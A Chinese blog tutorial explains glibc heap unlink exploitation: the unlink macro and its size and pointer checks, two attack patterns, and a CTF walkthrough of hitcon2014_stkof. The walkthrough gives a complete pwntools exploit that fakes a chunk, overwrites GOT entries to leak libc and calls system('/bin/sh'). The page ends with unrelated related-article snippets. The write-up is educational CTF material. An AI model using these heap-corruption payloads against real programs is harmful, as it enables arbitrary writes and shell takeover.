unlink快速入门

article/2025/9/14 4:12:52

0x01 正常unlink

当一个bin从记录bin的双向链表中被取下时,会触发unlink。常见的比如:相邻空闲bin进行合并,malloc_consolidate时。unlink的过程如下图所示(来自CTFWIKI)主要包含3个步骤,就是这么简单。

  1. 根据p的fd和bk获得双向链表的上一个chunk FD和下一个chunk BK
  2. 设置FD->bk=BK
  3. 设置BK->fd=FD

在这里插入图片描述
下面看一下unlink的源码。

#安装源码
apt install glibc-source
#下面目录下有一个glibc-2.23.tar.xz
/usr/src/glibc/
#可以拷贝到understand中进行源码阅读

size检查
第一个要检查的是需要解链bin的size。在堆中有两个地方存储了p的size。第一个是当前p->size。第二个是next_chunk§->prev_size。比较两个大小。
fd和bk检查
检查p是否在双向链表中。在双向链表中有两个指针指向p。第一个是FD->bk,第二个是BK->fd。

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \//第一个检查if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0))      \malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \FD = P->fd;								      \BK = P->bk;								      \//第二个检查if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \else {								      \//完成上图的unlink过程//具体过程可以看源码}									      \
}

0x02 利用思路

要利用unlink首先要绕过前面提到的两个检查。绕过size检查需要可以修改下一个chunk->prev_size。绕过fd和bk检查需要能够控制fd和bk。

1.第一种利用思路

利用条件

  1. 存在UAF可以修改p的fd和bk
  2. 存在一个指针指向p

利用方法

  1. 通过UAF漏洞修改chunk0->fd=G_ptr-0x18,chunk0->bk=G_ptr-0x10,绕过fd和bk检查
  2. free下一个chunk,chunk0和chunk1合并,chunk0发生unlink,修改了G_ptr的值

效果

修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写。
在这里插入图片描述

2.第二种方法思路

这种情况在做题中出现的情况比较多。因为malloc是返回的指针如果存储在bss段或者heap中则正好满足利用条件2。

利用条件

  1. 可以修改p的下一个chunk->pre_size和inuse位
  2. 存在一个指针指向chunk p的内容部分

利用方法

  1. 伪造fake_chunk。fakechunk->size=chunk0-0x10,可以绕过size检查。fakechunk->fd=&G_ptr-0x18,fakechunk->bk=&G_ptr-0x10,绕过fd和bk检查。
  2. 修改下一个chunk的prev_size=chunksize§-0x10。因为fakechunk比chunk0小0x10。
  3. 修改下一个chunk的inuse位。
  4. free下一个堆块chunk1。fakechunk和chunk1合并,fakechunk发生unlink,修改了G_ptr的值。

效果
修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写。
在这里插入图片描述

0x03 例题 hitcon2014_stkof

1.查看程序保护

可以修改GOT表,没有PIE,很好。
在这里插入图片描述
试运行,没有输出。
在这里插入图片描述

2.查看程序

菜单题只是没有把菜单打印出来。1是add。2是edit。3是free。4是todo没有实际用途
在这里插入图片描述
add函数
add就是正常的add

  1. 读入size
  2. malloc对应的size
  3. 0x602100记录的是已经申请的note数量
  4. 0x602140是heaparray指针数组

在这里插入图片描述
edit函数
没有验证输入的size大小,存在heap overflow

  1. 输入index
  2. 输入size
  3. 输入content

在这里插入图片描述
delete函数

  1. 将堆块释放
  2. 将数组置0
    在这里插入图片描述

3.利用方法

这里正好满足第二种利用思路,bss段存在G_ptr指向堆的内容,且能修改下一个堆块的prev_size和inuse位。

  1. 构造fakechunk来unlink使bss段中的堆指针指向附近
  2. 利用edit函数,修改函数指针指向free_got
  3. 修改free_got为put_plt,之后再调用free时就会输出指针指向的内容来泄露libc地址
  4. 将free_got改为system地址
  5. 调用free函数释放掉内容为"/bin/sh"的堆块来getshell

这里还有一个问题就是缓冲区的问题。题目并没有setbuf,所以IO缓冲区会在程序运行的时候在堆中进行申请。我们先连续创建3个0x20大小的chunk来查看堆栈排布情况,方便后续unlink操作。如下图,第一个申请的堆块并没有和后面几个连续分布,所以第一个堆块不能用来做fakechunk。

在这里插入图片描述
创建堆块

idx1用来解决IO缓存的问题
idx2用来构造fakechunk和idx3来unlink
idx4用来防止和top chunk和并

head = 0x602140 #堆指针数组
fd = head + 16 - 0x18
bk = head + 16 - 0x10
add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4

构造完成的堆空间分布
在这里插入图片描述
0x602100存储了note数量
0x602140存储了指针数组,索引从1开始
在这里插入图片描述
构造fakechunk

如下图,黄框为构造的fakechunk

payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)

在这里插入图片描述
unlink

释放第3个堆块,触发unlink。0x602150中的指针已经指向bss段的空间当中。通过修改数组中的指针来达到任意地址写的目的

在这里插入图片描述
leak libc

将heaparray[1]指针覆盖为free_got,heaparray[2]指针覆盖为puts_got

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)

在这里插入图片描述
将free_got的值覆盖为puts_plt。下次调用free时实际调用的是puts

payload3 = p64(puts_plt)
edit(1, payload3)
free(2)#实际调用的是puts(puts_got)
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))

在这里插入图片描述
getshell
修改free_got为system,并释放内容为’/bin/sh’的堆块来getshell。

payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()

在这里插入图片描述

4.exp

from pwn import *
context.arch = 'amd64'
debug = 1if debug:context.log_level='debug'context.terminal = ['terminator','-x','sh','-c']p = process('./stkof')elf = ELF('./stkof')libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:p = remote('node3.buuoj.cn',28755)elf = ELF('./stkof')libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.so')def add(size):p.sendline('1')p.sendline(str(size))p.recvuntil('OK\n')def edit(idx, content):p.sendline('2')p.sendline(str(idx))p.sendline(str(len(content)))p.send(content)p.recvuntil('OK\n')def free(idx):p.sendline('3')p.sendline(str(idx))head = 0x602140
fd = head + 16 - 0x18
bk = head + 16 - 0x10add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)free(3)free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)payload3 = p64(puts_plt)
edit(1, payload3)
free(2)p.recvuntil('OK\n')puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))payload4 = p64(system_addr)
edit(1, payload4)edit(4, '/bin/sh\x00')
free(4)p.interactive()

0x04 总结

  1. 当free时(不是fastbin)如果前面或者后面的chunk是空闲的,则会发生合并
  2. 如果此时存在G_ptr指向前面的chunk,并且存在覆盖的话可能存在unsafe_unlink

1.创造fakechunk,这里针对64位

presize=0
size= 原来size-0x10
fd=&G_ptr-0x18
bk=&G_ptr-0x10

2.覆盖下一个chunk

presize = 原pre_size-0x10
size从0x91改为0x90

3.触发unlink

free(chunk1)
chunk1会和前面的chunk0进行合并,断链
fake_chunk->bk->fd = fake_chunk->fd->bk
&G_ptr = &G_ptr-0x18 

参考链接:ctfwiki unlink


http://chatgpt.dhexx.cn/article/7BtCBQIs.shtml

相关文章

Linux常用命令——unlink命令

在线Linux命令查询工具(http://www.lzltool.com/LinuxCommand) unlink 系统调用函数unlink去删除指定的文件 补充说明 unlink命令用于系统调用函数unlink去删除指定的文件。和rm命令作用一样,都是删除文件。 语法 unlink(选项)(参数)选项 --help:…

element table表格,动态生成表头,基于可拖拽组件,拖动排序

效果展示 使用步骤 所需页面根据解释粘入 表格页面(父组件).txt 中代码&#xff0c; 引入dragList.vue组件 1.表格页面(父组件) <dragList radio"ssss" ></dragList> //引用子组件<el-tablev-if"asa":data"tableData"ro…

vue-draggable的多列拖动与拷贝拖拽(不删除源数据列)

vue-draggable的多列拖动与拷贝拖拽&#xff08;不删除源数据列&#xff09; Demo所用属性所遇困难源码 Demo 官方文档 录屏软件&#xff1a;screenToGif (将视频转为Gif&#xff0c;我认为简单又好操作) 我深知&#xff0c;文字的感知不如图片&#xff0c;图片的感知不如视频…

【JavaScript】列表拖拽升级,支持双击添加和时间轴左右拖动

TOC H5实现时间揍拖动 实现双击文件列表的项添加到时间揍的最后一条。 时间轴里可以左右拖动位置。 主要代码&#xff1a; /*** 时间轴拖动结束* param $event* constructor*/ const lineDragEnd ( $event ) > {console.log( 时间轴拖动结束 , $event )console.log(移动了,…

echarts拖拽echarts实现多条可拖动节点的折线图

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <script src="js/echarts/echarts.js"></script> <title>在指定位置画多个点</title> <style> …

html拖拽页面特效,div+css实现网页模块或栏目拖动(即拖拽效果)

//为Number增加一个属性,判断当前数据类型是否是数字 Number.prototype.NaN0function(){return isNaN(this)?0:this;} //全局变量 var iMouseDownfalse; var dragObjectnull; //获得鼠标的偏移量(对象2-对象1) function getMouseOffset(target,ev) { evev||window.event; var …

RecyclerView实现Item可拖拽(拖动、删除)

RecyclerView实现Item可拖拽&#xff08;拖动、删除&#xff09; 话不多说&#xff0c;先附上效果图&#xff1a; ItemTouchHelper 这是一个RecyclerView的工具&#xff0c;提供了drag & swipe 的功能&#xff0c;可以帮助我们处理RecyclerView中的Item的拖拽和滑动事件…

原生drag拖拽后元素过大,挡住其他可拖动位置无法拖动问题

写一个蒙层&#xff0c;还未拖动前原始层在上面&#xff0c; 拖动那过程中&#xff08;dragover&#xff09;原始层在下面&#xff0c; 拖进目标元素后&#xff08;drop&#xff09;&#xff0c;此时蒙层在上面&#xff0c;根据drop的$event获取落在蒙层哪个div上&#xff0c…

html5播放器禁止拖拽功能实例(教学内容禁止拖动观看)

html5播放器禁止拖拽功能实例&#xff08;常用于场景&#xff1a;企业培训、在线教学内容禁止学员拖动视频进行观看&#xff09; 实例1&#xff1a;参数开启后&#xff0c;视频教学内容或视频课件将不允许拖动进度条。 <div id"player"></div> <scr…

html5播放器禁止拖拽、视频禁止拖动的实例

阿酷TONY / 2023-3-8 / 长沙 html5播放器禁止拖拽功能,常用于场景&#xff1a;企业培训、在线教学内容禁止学员拖动视频进行观看。 应用代码实例&#xff1a; <div id"player"></div> <script src"//player.polyv.net/script/player.js">…

WPF TreeView拖动排序拖拽排列

底部附有Demo示例。需要的朋友可以去下载参考 一、图示 先上图&#xff0c;不知为啥&#xff0c;GIF总看起来特别卡&#xff0c;实际却很流畅。 由于录制问题&#xff0c;GIF动画只会播放一次&#xff0c;需要重复观看的&#xff0c;请将网页关闭后重新打开再观看 WPF的资料…

js原生拖拽的两种方法

一.mousedown、mousemove和mouseup 拖着目标元素在页面任意位置 如果要设置物体拖拽&#xff0c;那么必须使用三个事件&#xff0c;并且这三个事件的使用顺序不能颠倒。 1.onmousedown&#xff1a;鼠标按下事件 2.onmousemove&#xff1a;鼠标移动事件 3.onmouseup&#xff…

前端原生拖拽(drag drop)的一点小总结

新工作中&#xff0c;第一个手生的功能&#xff0c;遇到了很多诡异的问题&#xff0c;今天终于解惑了。最终原因还是对代码没有透彻的了解&#xff0c;jquery的运用也不熟练导致的。稍稍的记录一下。 原始功能 对项目列表中的元素进行拖拽&#xff0c;拖拽到一定的位置&#xf…

Vue2 _ 实现拖拽功能

老项目重构&#xff0c;其中有一些拖拽功能&#xff0c;不过用的是两个开源 JS 拖拽文件实现的效果&#xff0c;版本太老了&#xff0c;所以需要换代了&#xff0c;然后就查阅了能够用 Vue 来简单快速实现拖拽的功能实现方法 &#xff1a; 目录 一、HTML 拖放 二、Vue.Dragg…

vue2 使用 Sortable 库进行拖拽操作

一、vue 项目使用 文档地址&#xff1a; https://www.itxst.com/sortablejs/neuinffi.html 1、安装依赖 npm i -S vuedraggable2、.vue 文件引入组件 import draggable from "vuedraggable"; components: { draggable },3、.使用 查看文档中的示例即可&#xff…

空指针、悬空指针、野指针

文章目录 前言一、指针&#xff1f;二、指针的应用场景三、 空指针四、 悬空指针五、 野指针正确用法 总结 前言 相信很多小伙伴对指针的使用都有一定的了解了。但更多的人可能对指针又爱又恨。这次我们谈点重要的&#xff0c;进一步加深对指针的理解 一、指针&#xff1f; 指…

【C语言】指针(野指针)

目录 1&#xff1a;什么是野指针&#xff1f; 2&#xff1a;如何规避野指针 1.1&#xff1a;指针变量的初始化 2.2&#xff1a;指针越界访问 3.3&#xff1a;指针指向的空间如果我们还回去的话&#xff0c;就把指针指针置为NULL 4.4&#xff1a;指针使用之前检查有效性…

C语言的野指针

1.野指针 指针变量中的值是非法的内存地址&#xff0c;进而形成野指针野指针不是NULL指针&#xff0c;是指向不可用内存地址的指针NULL指针并无危害&#xff0c;很好判断&#xff0c;也很好调试C语言中无法判断一个指针所保存的地址是否合法&#xff0c;合法的地址是通过变量或…

初识C语言---野指针

野指针概念&#xff1a; 野指针就是指针指向的位置是不可知的&#xff08;随机的、不正确的、没有明确限制的&#xff09;。 一、野指针成因 1、指针未初始化就使用 #include<stdio.h> int main() {int* p; *p 10; return 0; }此段代码中&#…

野指针(概念,产生原因,危害,避免方法)

思维导图: 1.野指针与垂悬指针的区别: 野指针:访问一个已销毁或者访问受限的内存区域的指针,野指针不能判断是否为NULL来避免 垂悬指针:指针正常初始化,曾指向一个对象,该对象被销毁了,但是指针未制空,那么就成了悬空指针。 2.概念 指针指向了一块随机的空间,不受…